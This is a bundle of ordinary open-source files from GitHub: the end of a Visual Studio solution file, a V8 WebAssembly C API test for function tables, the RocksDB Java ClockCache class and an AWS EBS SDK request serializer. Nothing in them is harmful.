{D15BE737-CF23-4243-A8C4-DB5EE3F5689D}.Debug|Win32.ActiveCfg = Debug|Win32
{D15BE737-CF23-4243-A8C4-DB5EE3F5689D}.Release|Win32.ActiveCfg = Release|Win32
{D15BE737-CF23-4243-A8C4-DB5EE3F5689D}.Release|Win32.Build.0 = Release|Win32
{C118D86C-06E2-4949-B4F1-DB05C823C8E1}.Debug|Win32.ActiveCfg = Debug|Win32
{C118D86C-06E2-4949-B4F1-DB05C823C8E1}.Release|Win32.ActiveCfg = Release|Win32
{C118D86C-06E2-4949-B4F1-DB05C823C8E1}.Release|Win32.Build.0 = Release|Win32
{CB440073-2ED3-48CE-A1A1-B6EACB3A44BD}.Debug|Win32.ActiveCfg = Debug|Win32
{CB440073-2ED3-48CE-A1A1-B6EACB3A44BD}.Debug|Win32.Build.0 = Debug|Win32
{CB440073-2ED3-48CE-A1A1-B6EACB3A44BD}.Release|Win32.ActiveCfg = Release|Win32
{CB440073-2ED3-48CE-A1A1-B6EACB3A44BD}.Release|Win32.Build.0 = Release|Win32
{8D0233CC-F821-4853-BE2A-B55B680A49E9}.Debug|Win32.ActiveCfg = Debug|Win32
{8D0233CC-F821-4853-BE2A-B55B680A49E9}.Release|Win32.ActiveCfg = Release|Win32
{8D0233CC-F821-4853-BE2A-B55B680A49E9}.Release|Win32.Build.0 = Release|Win32
{3EC53ADE-2D87-4023-B34A-BA1CF0EA0F01}.Debug|Win32.ActiveCfg = Debug|Win32
{3EC53ADE-2D87-4023-B34A-BA1CF0EA0F01}.Release|Win32.ActiveCfg = Release|Win32
{3EC53ADE-2D87-4023-B34A-BA1CF0EA0F01}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
| {
"pile_set_name": "Github"
} |
// Copyright 2019 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "test/wasm-api-tests/wasm-api-test.h"
namespace v8 {
namespace internal {
namespace wasm {
using ::wasm::FUNCREF;
using ::wasm::Limits;
using ::wasm::TableType;
namespace {
own<Trap> Negate(const Val args[], Val results[]) {
results[0] = Val(-args[0].i32());
return nullptr;
}
void ExpectTrap(const Func* func, int arg1, int arg2) {
Val args[2] = {Val::i32(arg1), Val::i32(arg2)};
Val results[1];
own<Trap> trap = func->call(args, results);
EXPECT_NE(nullptr, trap);
}
void ExpectResult(int expected, const Func* func, int arg1, int arg2) {
Val args[2] = {Val::i32(arg1), Val::i32(arg2)};
Val results[1];
own<Trap> trap = func->call(args, results);
EXPECT_EQ(nullptr, trap);
EXPECT_EQ(expected, results[0].i32());
}
} // namespace
TEST_F(WasmCapiTest, Table) {
builder()->AllocateIndirectFunctions(2);
builder()->SetMaxTableSize(10);
builder()->AddExport(CStrVector("table"), kExternalTable, 0);
const uint32_t sig_i_i_index = builder()->AddSignature(wasm_i_i_sig());
ValueType reps[] = {kWasmI32, kWasmI32, kWasmI32};
FunctionSig call_sig(1, 2, reps);
byte call_code[] = {
WASM_CALL_INDIRECT1(sig_i_i_index, WASM_GET_LOCAL(1), WASM_GET_LOCAL(0))};
AddExportedFunction(CStrVector("call_indirect"), call_code, sizeof(call_code),
&call_sig);
byte f_code[] = {WASM_GET_LOCAL(0)};
AddExportedFunction(CStrVector("f"), f_code, sizeof(f_code), wasm_i_i_sig());
byte g_code[] = {WASM_I32V_1(42)};
AddExportedFunction(CStrVector("g"), g_code, sizeof(g_code), wasm_i_i_sig());
// Set table[1] to {f}, which has function index 1.
builder()->SetIndirectFunction(1, 1);
Instantiate(nullptr);
Table* table = GetExportedTable(0);
Func* call_indirect = GetExportedFunction(1);
Func* f = GetExportedFunction(2);
Func* g = GetExportedFunction(3);
own<Func> h = Func::make(store(), cpp_i_i_sig(), Negate);
// Try cloning.
EXPECT_TRUE(table->copy()->same(table));
// Check initial table state.
EXPECT_EQ(2u, table->size());
EXPECT_EQ(nullptr, table->get(0));
EXPECT_NE(nullptr, table->get(1));
ExpectTrap(call_indirect, 0, 0);
ExpectResult(7, call_indirect, 7, 1);
ExpectTrap(call_indirect, 0, 2);
// Mutate table.
EXPECT_TRUE(table->set(0, g));
EXPECT_TRUE(table->set(1, nullptr));
EXPECT_FALSE(table->set(2, f));
EXPECT_NE(nullptr, table->get(0));
EXPECT_EQ(nullptr, table->get(1));
ExpectResult(42, call_indirect, 7, 0);
ExpectTrap(call_indirect, 0, 1);
ExpectTrap(call_indirect, 0, 2);
// Grow table.
EXPECT_TRUE(table->grow(3));
EXPECT_EQ(5u, table->size());
EXPECT_TRUE(table->set(2, f));
EXPECT_TRUE(table->set(3, h.get()));
EXPECT_FALSE(table->set(5, nullptr));
EXPECT_NE(nullptr, table->get(2));
EXPECT_NE(nullptr, table->get(3));
EXPECT_EQ(nullptr, table->get(4));
ExpectResult(5, call_indirect, 5, 2);
ExpectResult(-6, call_indirect, 6, 3);
ExpectTrap(call_indirect, 0, 4);
ExpectTrap(call_indirect, 0, 5);
EXPECT_TRUE(table->grow(2, f));
EXPECT_EQ(7u, table->size());
EXPECT_NE(nullptr, table->get(5));
EXPECT_NE(nullptr, table->get(6));
EXPECT_FALSE(table->grow(5));
EXPECT_TRUE(table->grow(3));
EXPECT_TRUE(table->grow(0));
// Create standalone table.
// TODO(wasm+): Once Wasm allows multiple tables, turn this into import.
own<TableType> tabletype =
TableType::make(ValType::make(FUNCREF), Limits(5, 5));
own<Table> table2 = Table::make(store(), tabletype.get());
EXPECT_EQ(5u, table2->size());
EXPECT_FALSE(table2->grow(1));
EXPECT_TRUE(table2->grow(0));
}
} // namespace wasm
} // namespace internal
} // namespace v8
| {
"pile_set_name": "Github"
} |
// Copyright (c) 2011-present, Facebook, Inc. All rights reserved.
// This source code is licensed under both the GPLv2 (found in the
// COPYING file in the root directory) and Apache 2.0 License
// (found in the LICENSE.Apache file in the root directory).
package org.rocksdb;
/**
* Similar to {@link LRUCache}, but based on the CLOCK algorithm with
* better concurrent performance in some cases
*/
public class ClockCache extends Cache {
/**
* Create a new cache with a fixed size capacity.
*
* @param capacity The fixed size capacity of the cache
*/
public ClockCache(final long capacity) {
super(newClockCache(capacity, -1, false));
}
/**
* Create a new cache with a fixed size capacity. The cache is sharded
* to 2^numShardBits shards, by hash of the key. The total capacity
* is divided and evenly assigned to each shard.
* numShardBits = -1 means it is automatically determined: every shard
* will be at least 512KB and number of shard bits will not exceed 6.
*
* @param capacity The fixed size capacity of the cache
* @param numShardBits The cache is sharded to 2^numShardBits shards,
* by hash of the key
*/
public ClockCache(final long capacity, final int numShardBits) {
super(newClockCache(capacity, numShardBits, false));
}
/**
* Create a new cache with a fixed size capacity. The cache is sharded
* to 2^numShardBits shards, by hash of the key. The total capacity
* is divided and evenly assigned to each shard. If strictCapacityLimit
* is set, insert to the cache will fail when cache is full.
* numShardBits = -1 means it is automatically determined: every shard
* will be at least 512KB and number of shard bits will not exceed 6.
*
* @param capacity The fixed size capacity of the cache
* @param numShardBits The cache is sharded to 2^numShardBits shards,
* by hash of the key
* @param strictCapacityLimit insert to the cache will fail when cache is full
*/
public ClockCache(final long capacity, final int numShardBits,
final boolean strictCapacityLimit) {
super(newClockCache(capacity, numShardBits, strictCapacityLimit));
}
private native static long newClockCache(final long capacity,
final int numShardBits, final boolean strictCapacityLimit);
@Override protected final native void disposeInternal(final long handle);
}
| {
"pile_set_name": "Github"
} |
/**
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
* SPDX-License-Identifier: Apache-2.0.
*/
#include <aws/ebs/model/GetSnapshotBlockRequest.h>
#include <aws/core/utils/json/JsonSerializer.h>
#include <aws/core/http/URI.h>
#include <aws/core/utils/memory/stl/AWSStringStream.h>
#include <utility>
using namespace Aws::EBS::Model;
using namespace Aws::Utils::Json;
using namespace Aws::Utils;
using namespace Aws::Http;
GetSnapshotBlockRequest::GetSnapshotBlockRequest() :
m_snapshotIdHasBeenSet(false),
m_blockIndex(0),
m_blockIndexHasBeenSet(false),
m_blockTokenHasBeenSet(false)
{
}
Aws::String GetSnapshotBlockRequest::SerializePayload() const
{
return {};
}
void GetSnapshotBlockRequest::AddQueryStringParameters(URI& uri) const
{
Aws::StringStream ss;
if(m_blockTokenHasBeenSet)
{
ss << m_blockToken;
uri.AddQueryStringParameter("blockToken", ss.str());
ss.str("");
}
}
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.